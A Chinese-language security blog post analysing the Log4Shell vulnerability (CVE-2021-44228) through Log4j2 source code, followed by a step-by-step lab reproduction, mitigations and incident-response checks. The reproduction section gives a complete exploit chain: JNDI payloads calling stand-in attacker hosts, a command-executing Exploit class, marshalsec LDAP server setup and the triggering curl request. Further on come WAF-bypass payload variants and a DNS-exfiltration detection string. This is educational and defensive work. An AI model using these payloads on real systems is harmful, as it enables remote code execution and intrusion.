从源码到实战:深度剖析Log4Shell漏洞原理与手工复现

📅 2026/7/8 16:40:06
从源码到实战:深度剖析Log4Shell漏洞原理与手工复现
1. 项目概述CVE-2021-44228这个代号在安全圈里几乎无人不晓它还有一个更广为人知的名字——Log4Shell。作为一名长期混迹于应用安全与渗透测试领域的老兵我至今还记得2021年底那个兵荒马乱的冬天无数企业的运维和安全团队彻夜不眠只为堵上这个潜伏在日志组件中的“核弹级”漏洞。它之所以令人印象深刻不仅在于其影响范围之广从Apache自身到几乎所有使用Java生态的大型互联网公司更在于其利用的巧妙与简单——仅仅通过一条日志记录就能触发远程代码执行。网上复现教程很多但大多停留在“如何使用工具打一下”的层面。今天我想带大家换个角度抛开那些一键化的利用工具我们直接深入Log4j2的源码腹地亲手“制造”并触发这个漏洞。通过阅读关键代码、理解其设计初衷与缺陷所在你不仅能彻底明白漏洞原理更能掌握一种分析复杂漏洞的通用方法论。无论你是开发人员想避免写出类似漏洞还是安全研究员想提升漏洞挖掘能力亦或是渗透测试工程师想更精准地判断漏洞存在性这次从源码到复现的深度之旅都将让你收获颇丰。2. 漏洞核心原理与设计缺陷溯源在动手翻源码之前我们必须先建立对漏洞的宏观认知。CVE-2021-44228的本质是一个JNDI注入漏洞。但它的特殊之处在于攻击入口并非传统的用户输入点如URL参数、表单而是日志记录内容。Log4j2作为一个日志框架提供了一个强大的功能Lookup。这个功能的初衷是为了让开发者在日志输出格式中能方便地动态插入一些运行时信息比如系统属性${sys:user.name}、环境变量${env:JAVA_HOME}或是日志事件本身的属性。这本身是个非常实用的特性。漏洞的根源在于Log4j2在处理日志消息时会对消息内容进行递归解析。如果日志消息中包含了${}格式的字符串框架会尝试将其中的内容识别为Lookup表达式并进行求值。而JNDI (Java Naming and Directory Interface) Lookup正是其支持的Lookup之一格式为${jndi:...}。当解析到jndi:前缀时Log4j2会无条件地使用InitialContext.lookup()方法去查询指定的资源。问题就出在这里这个解析和查询过程没有对输入的来源和内容进行任何安全检查或限制。设想一个场景一个Web应用将用户输入的User-Agent头记录到日志中。攻击者只需将User-Agent设置为${jndi:ldap://attacker.com/Exploit}。当Log4j2记录这条日志时它会“忠实”地执行Lookup向attacker.com发起LDAP请求并加载返回的恶意Java类从而在服务器上执行任意代码。整个攻击链从触发到执行完全由日志框架自身的功能驱动应用业务代码对此毫无感知这才是它最可怕的地方。注意这里需要明确一个关键点漏洞的触发不依赖于任何特定的日志级别如error,info。只要日志消息被记录即使最终因为级别过滤而未输出到文件其中的Lookup表达式就会被解析。这意味着很多用于调试、审计的日志记录点都可能成为攻击入口。2.1 关键设计决策与安全失误从架构角度看Log4j2将“日志消息格式化”和“数据查询Lookup”这两个职责耦合在了一起并且默认开启了对消息内容的表达式解析。这是一个典型的安全设计失误过度泛化的功能为了灵活性Lookup机制被设计得过于强大可以访问JNDI这种高风险接口。缺省不安全的配置表达式解析功能默认开启且没有提供全局的、细粒度的过滤或白名单机制。上下文混淆框架未能区分“日志配置中开发者预设的表达式”和“日志消息中用户可控的输入”对两者一视同仁地进行解析。理解了这个设计层面的根源我们再看源码就会豁然开朗漏洞不是某一行代码写错了而是一系列“合理”的设计决策在特定组合下产生的灾难性后果。3. 漏洞调用链源码深度剖析现在让我们打开Log4j2的源代码以2.14.1及以下受影响版本为例沿着一条攻击Payload的执行路径看看漏洞是如何一步步发生的。我建议你准备好IDE跟着步骤一起查看感受会更深。我们假设攻击Payload为${jndi:ldap://evil.com/a}。3.1 入口MessagePatternConverter.format()日志事件最终需要被格式化成字符串输出这个工作由各种PatternConverter完成。其中MessagePatternConverter负责处理日志事件中的消息部分即log.info(“message”)中的”message”。在org.apache.logging.log4j.core.pattern.MessagePatternConverter类中找到format方法public void format(final LogEvent event, final StringBuilder toAppendTo) { toAppendTo.append(config.getStrSubstitutor().replace(event, value)); }这里的value就是原始的日志消息字符串。关键调用是config.getStrSubstitutor().replace(event, value)。StrSubstitutor顾名思义是一个“字符串替换器”它的任务就是查找并替换字符串中的变量占位符。实操心得在源码分析中看到getStrSubstitutor()这类方法要立刻意识到它可能返回一个共享的、有状态的单例对象。其配置如是否允许递归替换是全局性的这解释了为什么漏洞影响是全局的而非单个日志记录点。3.2 核心引擎StrSubstitutor.substitute()跟进replace方法最终会进入核心的substitute(LogEvent event, StringBuilder buf, int offset, int length)方法。这个方法逻辑较长但我们可以分段理解第一步查找${final int startMatchLen prefixMatcher.isMatch(chars, pos, offset, bufEnd);prefixMatcher被配置为匹配“${“。它在字符串缓冲区buf即我们的日志消息中滑动寻找这个模式。第二步查找配对的}当找到${后它开始寻找下一个配对的}。这里有一个关键逻辑它允许嵌套即处理${${...}}这种形式。通过一个nestedVarCount计数器来实现。第三步提取表达式内容当找到配对的}后它提取出${和}之间的内容存入varNameExpr。对于我们的Payload第一次提取出的varNameExpr就是jndi:ldap://evil.com/a。第四步递归解析处理嵌套如果substitutionInVariablesEnabled为true默认就是true它会创建一个新的StringBuilder包裹varNameExpr然后递归调用substitute方法。final StringBuilder bufName new StringBuilder(varNameExpr); substitute(event, bufName, 0, bufName.length()); // 递归调用 varNameExpr bufName.toString();这个递归调用是为了解析表达式内部可能存在的其他变量。例如Payload可以是${jndi:ldap://${sys:java.version}.evil.com/a}内层的${sys:java.version}会先在这一步被解析替换成实际的Java版本号。这个特性常被攻击者用来构造无回显的盲注检测Payload。第五步分割变量名与默认值接下来代码尝试用:或-分割varNameExpr。if ((valueDelimiterMatchLen valueDelimiterMatcher.isMatch(varNameExprChars, i)) ! 0) { varName varNameExpr.substring(0, i); // 分割符前的部分 varDefaultValue varNameExpr.substring(i valueDelimiterMatchLen); // 分割符后的部分 break; }对于jndi:ldap://evil.com/a分割后varName “jndi”varDefaultValue “ldap://evil.com/a”。这个设计本意是支持类似${env:PATH:-/default/path}的语法为变量提供默认值。但在这里它恰好完美地解析了我们的JNDI Payload。第六步解析变量值分割完成后调用resolveVariable方法来获取varName即”jndi”对应的实际值。String varValue resolveVariable(event, varName, buf, startPos, endPos);3.3 致命一跃Interpolator.lookup()与 JNDI 触发跟进resolveVariable它会通过StrSubstitutor的variableResolver一个Interpolator对象来解析变量。Interpolator维护了一个Lookup实例的映射表strLookupMap。关键调用链如下resolveVariable-Interpolator.lookup()- 从strLookupMap根据前缀”jndi”获取到JndiLookup实例 - 调用JndiLookup.lookup()。最终在org.apache.logging.log4j.core.lookup.JndiLookup类中public String lookup(final LogEvent event, final String key) { if (key null) { return null; } String jndiName convertJndiName(key); // 处理“ldap://evil.com/a” try (final JndiManager jndiManager JndiManager.getDefaultManager()) { Object obj jndiManager.lookup(jndiName); // 触发JNDI查询 return Objects.toString(obj, null); } catch (final NamingException e) { LOGGER.warn(LOOKUP, Error looking up JNDI resource [{}]., jndiName, e); return null; } }jndiManager.lookup(jndiName)这一行就是最终向远程LDAP/RMI服务器发起请求并加载恶意类的罪魁祸首。至此一条从用户输入到远程代码执行的完整路径在Log4j2框架内部畅通无阻地走完了。注意事项在分析JndiLookup时注意其LOOKUP常量是一个SubstituteLogger。在漏洞触发过程中如果JNDI查询出错它会尝试记录警告日志。这可能导致递归的日志事件和栈溢出在某些配置下会使服务崩溃这也是该漏洞可能造成拒绝服务DoS的一个旁路。4. 漏洞复现环境搭建与手工利用理解了原理我们亲手来复现它。我将摒弃那种一键启动漏洞环境的做法带大家从零搭建一个最简化的脆弱应用并手工构造利用过程。这样你能更清楚地看到每一个环节。4.1 环境准备与脆弱应用创建1. 基础环境JDK版本必须使用JDK 8u191、7u201、6u211或更早的版本。因为这些版本之前JNDI的远程类加载com.sun.jndi.rmi.object.trustURLCodebase等属性默认是开启的。高版本JDK默认禁止了从远程地址加载工厂类极大增加了利用难度。这是我们复现成功的先决条件。Maven用于构建项目。2. 创建Maven项目创建一个简单的Java Web应用使用Spring Boot最方便。在pom.xml中引入存在漏洞的Log4j2版本。dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version2.14.1/version !-- 漏洞版本 -- /dependency dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-api/artifactId version2.14.1/version /dependency3. 编写漏洞触发代码创建一个简单的Controller将请求头中的X-Api-Version记录到日志。import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestHeader; import org.springframework.web.bind.annotation.RestController; RestController public class VulnerableController { // 使用Log4j2的Logger private static final Logger logger LogManager.getLogger(VulnerableController.class); GetMapping(/hello) public String hello(RequestHeader(value X-Api-Version, defaultValue ) String apiVersion) { // 关键漏洞点将用户可控的输入HTTP头直接记录到日志 logger.info(Received a request with API version: {}, apiVersion); return Hello, your API version is: apiVersion; } }log4j2.xml配置文件保持默认即可无需特殊配置因为漏洞触发不依赖特定配置。4.2 恶意LDAP服务器搭建我们使用一个经典的利用工具marshalsec来启动一个恶意的LDAP引用服务器。它不直接托管恶意类而是告诉受害者我们的脆弱应用“你去http://my-attacker-server/Exploit.class这个地址加载类吧”。1. 编译marshalsecgit clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译后在target目录下找到marshalsec-0.0.3-SNAPSHOT-all.jar。2. 准备恶意类编写一个简单的恶意Java类编译成.class文件。例如创建一个Exploit.javapublic class Exploit { static { try { // 执行命令例如创建文件、反弹shell等 Runtime.getRuntime().exec(touch /tmp/pwned_by_log4j); // 或者Windows系统Runtime.getRuntime().exec(calc.exe); } catch (Exception e) { e.printStackTrace(); } } }使用javac Exploit.java编译得到Exploit.class。3. 托管恶意类在一个攻击者可控的服务器上可以用另一台VPS或者本地用Python临时起个HTTP服务将Exploit.class文件放在Web根目录下。# 在Exploit.class所在目录执行 python3 -m http.server 88884. 启动恶意LDAP服务器在攻击机上运行marshalsec指向我们托管恶意类的HTTP服务器。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://YOUR_ATTACKER_IP:8888/#Exploit 1389YOUR_ATTACKER_IP托管Exploit.class的服务器IP。1389LDAP服务监听的端口。4.3 发起攻击与验证现在启动我们刚刚创建的脆弱Spring Boot应用默认端口8080。使用curl或Burp Suite等工具向应用发送一个携带恶意Payload的HTTP请求curl -H X-Api-Version: \${jndi:ldap://YOUR_ATTACKER_IP:1389/Exploit} http://localhost:8080/hello观察现象脆弱应用控制台你会看到Log4j2打印的INFO日志内容就是我们的Payload。同时如果恶意类加载执行成功在服务器上运行脆弱应用的机器执行ls /tmp/应该能看到pwned_by_log4j文件被创建。恶意LDAP服务器控制台你会看到来自脆弱应用的连接请求。HTTP服务器控制台你会看到脆弱应用发来的请求下载Exploit.class文件。如果文件被成功创建恭喜你一次完整的手工漏洞复现就成功了这个过程清晰地展示了一个普通的日志记录操作如何因为一个不可信的输入演变成一次远程代码执行。重要提示以上复现过程仅限用于授权的安全测试、教育学习或合规的内部安全评估环境。绝对禁止在未授权的情况下对任何系统进行测试这是违法行为。5. 漏洞修复方案与深度防御分析漏洞是为了更好地修复和防御。针对Log4Shell修复是分层级的。5.1 紧急缓解措施当时最有效在漏洞爆发初期来不及升级时通常采用以下方法修改JVM参数治标不治本-Dlog4j2.formatMsgNoLookupstrue这个参数从Log4j2 2.10.0开始引入设置为true可以全局禁止消息内容的Lookup解析。这是当时最快、最广泛的缓解方案。但要注意它只对%m消息模式有效如果配置中使用了%msg、%message等可能仍需其他方式。删除致命类 直接删除log4j-core jar包中的JndiLookup类。zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class这是一种“外科手术”式的方法简单粗暴但有效。缺点是破坏了jar包签名可能影响某些环境。5.2 根本解决方案升级版本Apache官方发布了多个修复版本2.15.0默认禁用了JNDI功能并且默认将log4j2.formatMsgNoLookups设置为true。限制了JNDI的协议和主机LDAP仅支持Java本地对象。但此版本仍存在拒绝服务等其他漏洞CVE-2021-45046。2.16.0完全移除了JndiLookup功能并默认禁用JNDI。同时解决了CVE-2021-45046。这是第一个真正安全的版本。2.17.0, 2.17.1, 3.x系列后续版本持续进行了安全加固和功能改进。升级建议对于生产环境应直接升级到2.17.1或3.x的最新稳定版。升级前务必在测试环境充分验证兼容性。5.3 架构与编码层面的深度防御除了升级组件我们更应从这次事件中吸取教训构建更深层的防御输入验证与过滤应用层对所有外部输入HTTP头、参数、Cookie、Body等进行严格的校验和过滤。对于日志内容可以考虑在记录前对不可信数据中的${和}进行转义或删除。但这属于补救措施不应作为主要防御。WAF/网关层部署Web应用防火墙配置规则拦截包含${jndi:、${ldap:、${rmi:等模式的请求。这是非常有效的网络层防护。最小权限原则运行Java应用的账户应遵循最小权限原则避免使用root或高权限账户。这样即使被攻破攻击者能做的事情也有限。使用Java安全策略文件java.policy限制代码的权限特别是禁止SocketPermission、RuntimePermission等。依赖项安全管理建立软件物料清单SBOM清楚掌握应用中所有直接和间接依赖。使用依赖扫描工具如OWASP Dependency-Check、GitHub Dependabot、Snyk集成到CI/CD流程中自动发现并预警存在已知漏洞的组件。优先使用受信任的、维护活跃的库并及时更新。网络隔离与出口控制在严格的网络环境中限制服务器对外发起网络连接的能力出站流量。即使漏洞被触发也无法连接到外部的恶意LDAP/RMI服务器。使用主机防火墙或安全组策略只允许必要的出站连接。运行时保护考虑使用RASP运行时应用自我保护技术在应用内部监控可疑行为如异常的JNDI调用、类加载等并实时阻断。6. 漏洞排查技巧与实战问题记录在实际应急响应和渗透测试中如何快速、准确地判断一个系统是否存在Log4Shell漏洞或者验证修复是否生效需要一些技巧。6.1 漏洞存在性检测非侵入式DNS外带检测最安全可靠 这是首选的检测方法。利用Log4j2支持嵌套表达式的特性构造一个能触发DNS查询的Payload。${jndi:dns://${sys:java.version}.your-dnslog-domain}${sys:java.version}会被替换成目标的Java版本号。将your-dnslog-domain替换为像dnslog.cn、ceye.io这类DNSLog平台提供的子域名。将这个Payload插入到任何可能被记录日志的输入点如URL参数、请求头、用户名等。如果在DNSLog平台收到查询记录且子域名中包含Java版本信息则几乎可以确定存在漏洞。因为只有Log4j2的递归解析特性才会将内层表达式的结果拼接到外层域名中进行查询。延迟检测 利用${sleep:5000}这样的表达式某些Lookup支持观察应用响应是否出现明显延迟。但这种方法可能误判且对服务有影响。6.2 修复验证与绕过技巧分析攻击者也在不断进化了解他们的绕过技巧有助于我们验证修复是否彻底。大小写与混淆绕过 早期的WAF规则可能只匹配小写jndi。尝试${JNDI:...}、${Jndi:...}、${${lower:j}ndi:...}等变种。修复方案如删除JndiLookup类是从根本上解决不受大小写影响。协议绕过 除了常见的ldap、rmi还可能尝试ldaps、iiop、corba、dns仅信息泄露等。完整的修复如升级到2.16.0是移除整个JNDI功能因此所有协议都失效。上下文绕过极少数情况 在某些极其特殊的配置或与其他漏洞结合的情况下攻击者可能利用ThreadContext Map (MDC)或MapMessage等来注入Payload。这要求对应用配置有深入了解。验证修复是否生效的黄金法则使用DNS外带检测法。在实施修复升级、设置参数、删除类后重新发送检测Payload。如果不再收到DNS查询记录则说明修复有效。务必在修复后进行全面回归测试。6.3 应急响应检查清单当怀疑遭遇Log4Shell攻击时可按以下步骤排查步骤操作目的与命令示例1. 确认影响检查应用使用的Log4j2版本。find /path/to/app -name “log4j-core*.jar” -exec sh -c ‘unzip -p {} META-INF/MANIFEST.MF | grep “Implementation-Version”’ \;2. 遏制与隔离若确认受影响立即隔离服务器或禁用相关服务。联系运维团队将服务器从负载均衡下线或关闭应用进程。3. 搜索攻击痕迹在全量日志中搜索JNDI、LDAP等关键词。grep -r -i “jndi:|ldap://|rmi://” /var/log/yourapp/(注意递归搜索可能耗时)4. 检查后门检查定时任务、新增用户、可疑进程、网络连接等。crontab -l(所有用户),ls -la /etc/cron*,netstat -antp, 检查/tmp、/dev/shm等目录。5. 应用修复根据实际情况选择升级、设置参数或删除类。优先升级至2.17.1。回退方案设置-Dlog4j2.formatMsgNoLookupstrue。6. 恢复与监控修复后恢复服务并加强监控。监控应用日志、系统资源、异常网络连接特别是出站到非常用端口的连接。7. 从Log4Shell看供应链安全与漏洞研究Log4Shell事件不仅是技术上的一个漏洞更是对整个软件行业的一次“安全地震”。它暴露出几个深层次问题供应链安全的极端重要性一个被广泛使用的、看似底层的工具库出现漏洞其影响是呈指数级放大的。企业安全不再只是关注自身代码更要管理好庞大的“数字供应链”。默认安全Secure by Default的缺失Log4j2为了强大的功能牺牲了默认安全性。这提醒我们任何提供动态代码执行或网络访问能力的特性都必须默认关闭或受到严格限制。漏洞研究的价值对于安全从业者而言像这样深入分析一个经典漏洞其价值远超复现本身。它训练了我们阅读复杂源码、理解设计思想、追踪数据流和识别危险模式的能力。下次当你再看到类似“表达式解析”、“动态加载”、“反序列化”等功能时大脑里的警报就应该自动响起。我个人在分析完Log4Shell的源码后养成了一个习惯在评估任何第三方库时尤其是那些处理字符串、模板、序列化或网络通信的库都会下意识地去翻看它的关键解析逻辑看看有没有对用户输入进行充分的校验和沙箱隔离。这个漏洞就像一本生动的教科书时刻提醒着我们在追求功能强大的同时安全边界必须清晰而坚固。